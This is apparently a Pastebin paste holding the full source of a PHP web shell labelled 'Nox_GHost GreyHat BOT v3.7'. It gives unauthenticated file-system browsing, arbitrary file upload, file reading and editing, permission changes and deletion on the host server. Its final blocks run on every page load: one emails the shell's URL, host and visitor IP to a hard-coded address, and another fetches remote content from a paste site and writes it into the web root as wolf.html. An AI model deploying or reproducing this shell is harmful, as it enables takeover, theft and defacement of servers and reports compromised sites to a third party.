Advertisement
Guest User

Untitled

a guest
Jun 23rd, 2018
203
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.88 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>Nox_GHost GreyHat</title>
  4. <style type="text/css">
  5. </style>
  6. </head>
  7. <header>
  8. <pre>
  9. <center>
  10.  
  11. _________________________________________________
  12. ............ Nox_GHost GreyHat .................
  13.  
  14. , .-'"'=;_ ,
  15. |\.'-~`-.`-`;/|
  16. \.` '.'~-.` './
  17. (\`,__=-'__,'/)
  18. _.-'-.( d\_/b ).-'-._
  19. /'.-' ' .---. ' '-.`\
  20. /' .' (= (_) =) '. `\
  21. /' .', `-.__.-.__.-' ,'. `\
  22. ( .'. V V ; '. )
  23. ( |:: `-,__.-.__,-' ::| )
  24. | /|`:. .:'|\ |
  25. | / | `:. :' |`\ |
  26. | | ( :. Nox_GHost .: ) | |
  27. | | ( `:. :' ) | |
  28. | | \ :. BOT v3.7 .: / | |
  29. | | \`:. .:'/ | |
  30. ) ( `\`:. .:'/' ) (
  31. ( `)_ ) `:._.:' ( _(` )
  32. \ ' _) .' `. (_ ` /
  33. \ '_) / .'"```"'. \ (_` /
  34. `'"` \ ( ) / `"'`
  35. ___ jgs `.`. .'.' ___
  36. .` ``"""'''--`_) (_'--'''"""`` `.
  37. (_(_(___...--'"'` `'"'--...___)_)_
  38. ________________________________________________</center>
  39.  
  40. </pre>
  41. </header>
  42. </form>
  43.  
  44. <?php
  45. set_time_limit(0);
  46. error_reporting(0);
  47.  
  48. if(get_magic_quotes_gpc()){
  49. foreach($_POST as $key=>$value){
  50. $_POST[$key] = stripslashes($value);
  51. }
  52. }
  53. echo '<!DOCTYPE HTML>
  54. <HTML>
  55. <HEAD>
  56. <link href="" rel="stylesheet" type="text/css">
  57. <title>Nox_GHost GreyHat</title>
  58. <style>
  59. body{
  60. font-family: "Racing Sans One", cursive;
  61. background-color: #e6e6e6;
  62. text-shadow:0px 0px 1px #757575;
  63. }
  64. #content tr:hover{
  65. background-color: #636263;
  66. text-shadow:0px 0px 10px #fff;
  67. }
  68. #content .first{
  69. background-color: silver;
  70. }
  71. #content .first:hover{
  72. background-color: silver;
  73. text-shadow:0px 0px 1px #757575;
  74. }
  75. table{
  76. border: 1px #000000 dotted;
  77. }
  78. H1{
  79. font-family: "Rye", cursive;
  80. }
  81. a{
  82. color: #000;
  83. text-decoration: none;
  84. }
  85. a:hover{
  86. color: #fff;
  87. text-shadow:0px 0px 10px #ffffff;
  88. }
  89. input,select,textarea{
  90. border: 1px #000000 solid;
  91. -moz-border-radius: 5px;
  92. -webkit-border-radius:5px;
  93. border-radius:5px;
  94. }
  95. </style>
  96. </HEAD>
  97. <BODY>
  98. <H1><center>Nox_GHost GreyHat</center></H1>
  99. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  100. <tr><td>Current Path : ';
  101. if(isset($_GET['path'])){
  102. $path = $_GET['path'];
  103. }else{
  104. $path = getcwd();
  105. }
  106. $path = str_replace('\\','/',$path);
  107. $paths = explode('/',$path);
  108.  
  109. foreach($paths as $id=>$pat){
  110. if($pat == '' && $id == 0){
  111. $a = true;
  112. echo '<a href="?path=/">/</a>';
  113. continue;
  114. }
  115. if($pat == '') continue;
  116. echo '<a href="?path=';
  117. for($i=0;$i<=$id;$i++){
  118. echo "$paths[$i]";
  119. if($i != $id) echo "/";
  120. }
  121. echo '">'.$pat.'</a>/';
  122. }
  123. echo '</td></tr><tr><td>';
  124. if(isset($_FILES['file'])){
  125. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  126. echo '<font color="green">File Upload Done Kakak ~_^ .</font><br />';
  127. }else{
  128. echo '<font color="red">File Upload Error ~_~.</font><br />';
  129. }
  130. }
  131. echo '<form enctype="multipart/form-data" method="POST">
  132. Upload File : <input type="file" name="file" />
  133. <input type="submit" value="upload" />
  134. </form>
  135. </td></tr>';
  136. if(isset($_GET['filesrc'])){
  137. echo "<tr><td>Current File : ";
  138. echo $_GET['filesrc'];
  139. echo '</tr></td></table><br />';
  140. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  141. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  142. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  143. if($_POST['opt'] == 'chmod'){
  144. if(isset($_POST['perm'])){
  145. if(chmod($_POST['path'],$_POST['perm'])){
  146. echo '<font color="green">Change Permission Done.</font><br />';
  147. }else{
  148. echo '<font color="red">Change Permission Error.</font><br />';
  149. }
  150. }
  151. echo '<form method="POST">
  152. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  153. <input type="hidden" name="path" value="'.$_POST['path'].'">
  154. <input type="hidden" name="opt" value="chmod">
  155. <input type="submit" value="Go" />
  156. </form>';
  157. }elseif($_POST['opt'] == 'rename'){
  158. if(isset($_POST['newname'])){
  159. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  160. echo '<font color="green">Change Name Done.</font><br />';
  161. }else{
  162. echo '<font color="red">Change Name Error.</font><br />';
  163. }
  164. $_POST['name'] = $_POST['newname'];
  165. }
  166. echo '<form method="POST">
  167. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  168. <input type="hidden" name="path" value="'.$_POST['path'].'">
  169. <input type="hidden" name="opt" value="rename">
  170. <input type="submit" value="Go" />
  171. </form>';
  172. }elseif($_POST['opt'] == 'edit'){
  173. if(isset($_POST['src'])){
  174. $fp = fopen($_POST['path'],'w');
  175. if(fwrite($fp,$_POST['src'])){
  176. echo '<font color="green">Edit File Done ~_^.</font><br />';
  177. }else{
  178. echo '<font color="red">Edit File Error ~_~.</font><br />';
  179. }
  180. fclose($fp);
  181. }
  182. echo '<form method="POST">
  183. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  184. <input type="hidden" name="path" value="'.$_POST['path'].'">
  185. <input type="hidden" name="opt" value="edit">
  186. <input type="submit" value="Go" />
  187. </form>';
  188. }
  189. echo '</center>';
  190. }else{
  191. echo '</table><br /><center>';
  192. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  193. if($_POST['type'] == 'dir'){
  194. if(rmdir($_POST['path'])){
  195. echo '<font color="green">Delete Dir Done.</font><br />';
  196. }else{
  197. echo '<font color="red">Delete Dir Error.</font><br />';
  198. }
  199. }elseif($_POST['type'] == 'file'){
  200. if(unlink($_POST['path'])){
  201. echo '<font color="green">Delete File Done.</font><br />';
  202. }else{
  203. echo '<font color="red">Delete File Error.</font><br />';
  204. }
  205. }
  206. }
  207. echo '</center>';
  208. $scandir = scandir($path);
  209. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  210. <tr class="first">
  211. <td><center>Name</center></td>
  212. <td><center>Size</center></td>
  213. <td><center>Permissions</center></td>
  214. <td><center>Options</center></td>
  215. </tr>';
  216.  
  217. foreach($scandir as $dir){
  218. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  219. echo "<tr>
  220. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  221. <td><center>--</center></td>
  222. <td><center>";
  223. if(is_writable("$path/$dir")) echo '<font color="green">';
  224. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  225. echo perms("$path/$dir");
  226. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  227.  
  228. echo "</center></td>
  229. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  230. <select name=\"opt\">
  231. <option value=\"\"></option>
  232. <option value=\"delete\">Delete</option>
  233. <option value=\"chmod\">Chmod</option>
  234. <option value=\"rename\">Rename</option>
  235. </select>
  236. <input type=\"hidden\" name=\"type\" value=\"dir\">
  237. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  238. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  239. <input type=\"submit\" value=\">\" />
  240. </form></center></td>
  241. </tr>";
  242. }
  243. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  244. foreach($scandir as $file){
  245. if(!is_file("$path/$file")) continue;
  246. $size = filesize("$path/$file")/1024;
  247. $size = round($size,3);
  248. if($size >= 1024){
  249. $size = round($size/1024,2).' MB';
  250. }else{
  251. $size = $size.' KB';
  252. }
  253.  
  254. echo "<tr>
  255. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  256. <td><center>".$size."</center></td>
  257. <td><center>";
  258. if(is_writable("$path/$file")) echo '<font color="green">';
  259. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  260. echo perms("$path/$file");
  261. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  262. echo "</center></td>
  263. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  264. <select name=\"opt\">
  265. <option value=\"\"></option>
  266. <option value=\"delete\">Delete</option>
  267. <option value=\"chmod\">Chmod</option>
  268. <option value=\"rename\">Rename</option>
  269. <option value=\"edit\">Edit</option>
  270. </select>
  271. <input type=\"hidden\" name=\"type\" value=\"file\">
  272. <input type=\"hidden\" name=\"name\" value=\"$file\">
  273. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  274. <input type=\"submit\" value=\">\" />
  275. </form></center></td>
  276. </tr>";
  277. }
  278. echo '</table>
  279. </div>';
  280. }
  281. echo '<br />Nox_GHost <font color="red">1.0</font>, Coded By <font color="red">Nox_GHost GreyHat</font>
  282. </BODY>
  283. </HTML>';
  284. function perms($file){
  285. $perms = fileperms($file);
  286.  
  287. if (($perms & 0xC000) == 0xC000) {
  288. // Socket
  289. $info = 's';
  290. } elseif (($perms & 0xA000) == 0xA000) {
  291. // Symbolic Link
  292. $info = 'l';
  293. } elseif (($perms & 0x8000) == 0x8000) {
  294. // Regular
  295. $info = '-';
  296. } elseif (($perms & 0x6000) == 0x6000) {
  297. // Block special
  298. $info = 'b';
  299. } elseif (($perms & 0x4000) == 0x4000) {
  300. // Directory
  301. $info = 'd';
  302. } elseif (($perms & 0x2000) == 0x2000) {
  303. // Character special
  304. $info = 'c';
  305. } elseif (($perms & 0x1000) == 0x1000) {
  306. // FIFO pipe
  307. $info = 'p';
  308. } else {
  309. // Unknown
  310. $info = 'u';
  311. }
  312.  
  313. // Owner
  314. $info .= (($perms & 0x0100) ? 'r' : '-');
  315. $info .= (($perms & 0x0080) ? 'w' : '-');
  316. $info .= (($perms & 0x0040) ?
  317. (($perms & 0x0800) ? 's' : 'x' ) :
  318. (($perms & 0x0800) ? 'S' : '-'));
  319.  
  320. // Group
  321. $info .= (($perms & 0x0020) ? 'r' : '-');
  322. $info .= (($perms & 0x0010) ? 'w' : '-');
  323. $info .= (($perms & 0x0008) ?
  324. (($perms & 0x0400) ? 's' : 'x' ) :
  325. (($perms & 0x0400) ? 'S' : '-'));
  326.  
  327. // World
  328. $info .= (($perms & 0x0004) ? 'r' : '-');
  329. $info .= (($perms & 0x0002) ? 'w' : '-');
  330. $info .= (($perms & 0x0001) ?
  331. (($perms & 0x0200) ? 't' : 'x' ) :
  332. (($perms & 0x0200) ? 'T' : '-'));
  333.  
  334. return $info;
  335. }
  336. ?>
  337. <?php
  338. $ip = getenv("REMOTE_ADDR");
  339. $ra44 = rand(1, 99999);
  340. $subj98 = " Bot V3.7 xbrang wolf |$ra44";
  341. $email = "omar.afailal1986@gmail.com";
  342. $from = "From: Xbrangwolf@Rslt.com";
  343. $a45 = $_SERVER['REQUEST_URI'];
  344. $b75 = $_SERVER['HTTP_HOST'];
  345. $m22 = $ip . "";
  346. $msg8873 = "$a45 $b75 $m22";
  347. mail($email, $subj98, $msg8873, $from);
  348. ?>
  349. <?php
  350. $check3=$_SERVER['DOCUMENT_ROOT'] . "/wolf.html" ;
  351. $text3 = http_get('https://hastebin.com/raw/etadukivef');
  352. $op3=fopen($check3, 'w');
  353. fwrite($op3,$text3);
  354. fclose($op3);
  355. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement